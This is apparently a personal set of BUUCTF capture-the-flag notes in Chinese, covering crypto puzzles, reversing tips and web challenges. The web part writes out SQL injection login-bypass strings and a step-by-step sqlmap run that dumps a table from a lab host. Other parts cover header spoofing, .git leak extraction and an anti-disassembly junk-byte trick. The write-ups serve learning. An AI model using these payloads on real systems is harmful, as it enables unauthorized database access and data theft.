BUUCTF 选做

BUUCTF神秘题好多,补补脑洞.

DASBOOK

[第一章][1.4.7 案例解析]BUU BURP COURSE 1

X-Real-IP:127.0.0.1 可能是检查”只能在本地访问”的标志之一.
注意payload一定要空两行,不然发出去什么都收不到.

N1BOOK

[第一章 web入门]常见的搜集

不知道为什么别人用dirsearch扫,爆的快的不行,我自己用dirsearch整天吃429…
dirsearch -u http://your-target/ -t 10 --delay=1 限速限线程版

[第一章 web入门]粗心的小李

GitHack神秘工具发力了…
python GitHack.py http://xxx.cn/.git/

Real

[PHP]XXE

ref虽然但是这个题直接搜索flag就有了是怎么回事…

Crypto

达芬奇密码

1
2
达芬奇隐藏在蒙娜丽莎中的数字列:1 233 3 2584 1346269 144 5 196418 21 1597 610 377 10946 89 514229 987 8 55 6765 2178309 121393 317811 46368 4181 1 832040 2 28657 75025 34 13 17711 
记录在达芬奇窗台口的神秘数字串:36968853882116725547342176952286

这两个都是32长度,考虑置换变换.
然后有人会发现后面的序列就是斐波那契数列,然后就按照那个规律进行置换…

是按照斐波那契数列进行解密的…

这是什么

apk里面包了一段jsfuck,用js+CPH judge跑出来即可.
有的时候解析网站反而会失败,我也不知道为什么

keyboard

1
ooo yyy ii w uuu ee uuuu yyy uuuu y w uuu i i rr w i i rr rrr uuuu rrr uuuu t ii uuuu i w u rrr ee www ee yyy eee www w tt ee

这些字母对应着123456789…
然后每个字母出现次数在1-4范围内,联想九键键盘…

然后由于o这个值是9,对应九键键盘中 WXYZ 这一栏,出现三次意味着 X .

这是什么觅🐎

观察题…每周字母有两个,对应的密文也有两个…
那么我们初步认为是查表…
然后得到数字转字母.

[GWCTF 2019]BabyRSA

RSA部分白给,但是明文是按照顺序被拆分成a,b,然后给出 $a+b$ 和 $a^3+b^3$ …

1
2
3
4
5
6
7
8
9
10
11
from sympy import *
from sympy.abc import a, b, c

c1 = pow(m1, d, n)
c2 = pow(m2, d, n)
res = solve([a + b - c1, pow(a, 3) + pow(b, 3) - c2], [a, b])

f1 = res[0][1]
f2 = res[0][0]

print(cun.long_to_bytes(f1) + cun.long_to_bytes(f2))

上面好像有一个能解方程的好东西.

samemod

bz2 文件,据说也是一种压缩文件.

共模攻击白给.
但是解出来的数字长这样:

1
1021089710312311910410111011910111610410511010710511610511511211111511510598108101125

应该按照位置拆分ascii码,怪不得long to bytes解不出来.

[BJDCTF2020]easyrsa

1
z=Fraction(1,Derivative(arctan(p),p))-Fraction(1,Derivative(arth(q),q))

在给出e c n之后额外给出了这个.
ds说 Derivative(f(b),b) 是在函数内对某个东西求导.
Fraction(a,b) 的意思是 $\frac ab$ .

浪里淘沙

把获得的单词连在一起提交即可。(我这里有一串数字:4,8,11,15,16)

1
tonightsuccessnoticenoticewewesuccesstonightweexamplecryptoshouldwebackspacetonightbackspaceexamplelearnwesublimlearnbackspacetheshouldwelearnfoundsublimsystemexamplesublimfoundlearnshouldmorningsublimsystemuserlearnthecryptomorningexamplenoticetonightlearntonightlearntonightsublimenterusermorningfoundtonightweenterfoundnoticethecryptomorningthebackspacelearntonightlearn...

显然这段文字是由几个单词组成的,所以考虑提取出来.
然后词频统计,给出出现次数第几小的东西.

鸡藕椒盐味

公司食堂最新出了一种小吃,叫鸡藕椒盐味汉堡,售价八块钱,为了促销,上面有一个验证码,输入后可以再换取一个汉堡。但是问题是每个验证码几乎都有错误,而且打印的时候倒了一下。小明买到了一个汉堡,准备还原验证码,因为一个吃不饱啊 验证码如下:1100 1010 0000 ,而且打印的时候倒了一下。把答案哈希一下就可以提交了。 (答案为正确值(不包括数字之间的空格)的32位md5值的小写形式) 注意:得到的 flag 请包上 flag{} 提交

奇偶校验位,海明码,reverse一下,神人题目

[WUSTCTF2020]大数计算

这也是个神人题目,拼好题还搞OSINT.

宇宙终极问题:求 $x,y,z$ 满足方程 $x^{3}+y^{3}+z^{3}=42$
ref

[AFCTF2018]花开藏宝地

门限密码,神秘加密体系.
幸亏直接找脚本了,节省下红温的时间.exp(抄的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
a1 =
d1 =
a2 =
d2 =
a3 =
d3 =

dd = d1*d2*d3
t1 = pow(dd//d1,d1-2,d1)
assert(t1*d2*d3%d1 == 1)
t2 = pow(dd//d2,d2-2,d2)
assert(t2*d1*d3%d2 == 1)
t3 = pow(dd//d3,d3-2,d3)
assert(t3*d2*d1%d3 == 1)
s = a1*t1*d2*d3+a2*t2*d1*d3+a3*t3*d1*d2
p =
s %= dd
# print(hex(s))
s %= p
s = hex(s)[2:]
flag = list(bytearray.fromhex(s))
for i in flag:
print(chr(i),end="")

Web

常见文件头

Referer :你从哪个网页过来
User-Agent :你使用哪个浏览器
X-Forwarded-For :你的原始ip?

常见SQL注入系列

账号:
admin’ or 1=’1
密码:(随便填)
admin’ or 1=’1

SQL转义?(好像转成web题了)
username=\&password=or 1=’1

自动注入系列(SQL大手子)

找注入点

1
python sqlmap.py -u http://18a64bdf-b7b2-44a9-8935-83536c6010e4.node4.buuoj.cn:81/index.php?id=1

找所有数据库名
1
python sqlmap.py -u http://18a64bdf-b7b2-44a9-8935-83536c6010e4.node4.buuoj.cn:81/index.php?id=1 --dbs

回显:
1
2
3
4
5
available databases [4]:
[*] information_schema
[*] mysql
[*] note
[*] performance_schema

找某个数据库中的表名(下面是note)
1
python sqlmap.py -u http://18a64bdf-b7b2-44a9-8935-83536c6010e4.node4.buuoj.cn:81/index.php?id=1 -D note -tables

回显:
1
2
3
4
5
6
Database: note
[2 tables]
+-------+
| fl4g |
| notes |
+-------+

找这个列表下的字段
1
python sqlmap.py -u http://18a64bdf-b7b2-44a9-8935-83536c6010e4.node4.buuoj.cn:81/index.php?id=1 -D note -T fl4g --columns

回显:
1
2
3
4
5
6
7
8
Database: note
Table: fl4g
[1 column]
+---------+-------------+
| Column | Type |
+---------+-------------+
| fllllag | varchar(40) |
+---------+-------------+

查看这个东西的
1
python sqlmap.py -u http://18a64bdf-b7b2-44a9-8935-83536c6010e4.node4.buuoj.cn:81/index.php?id=1 -D note -T fl4g -C fllllag --dump

回显
1
2
3
4
5
6
7
8
Database: note
Table: fl4g
[1 entry]
+---------------------------------+
| fllllag |
+---------------------------------+
| n1book{union_select_is_so_cool} |
+---------------------------------+

查看当前数据库名???
1
python sqlmap.py -u http://fc37e90a-e533-4b4a-a8bd-7d02eab1fcb1.node5.buuoj.cn:81/backend/content_detail.php?id=1 --current-db

Reverse

[MRCTF2020]Xor

ida不知道为什么插件崩了不能识别call的函数和参数.
解决办法:找到call的那个函数反编译一下,然后就能成功了.

[HDCTF2019]Maze

花指令第一课.

1
2
3
4
5
6
7
8
9
int main() {
__asm {
jmp label
_emit 0xE8 // 假装是 call,其实是垃圾
label:
xor eax, eax
}
return 0;
}

这样后面的函数可以正常运行,但是IDA会崩,因为 0xE8 被识别为 call ,后面就全乱套了.

为什么asm没事:直接jmp跳过去了.
为什么IDA炸了:IDA在猜每句话的作用,同时尝试还原高级语言,所以是逐句的翻译.

hint:

选住数据按d把命令转换为字节数据.
选住数据开头按p把数据转换为命令数据.

ref1 ref2 ref3

[INSHack2019]Passthru

编辑-首选项-导入TLS key.
然后就可以查看加密的流传输了.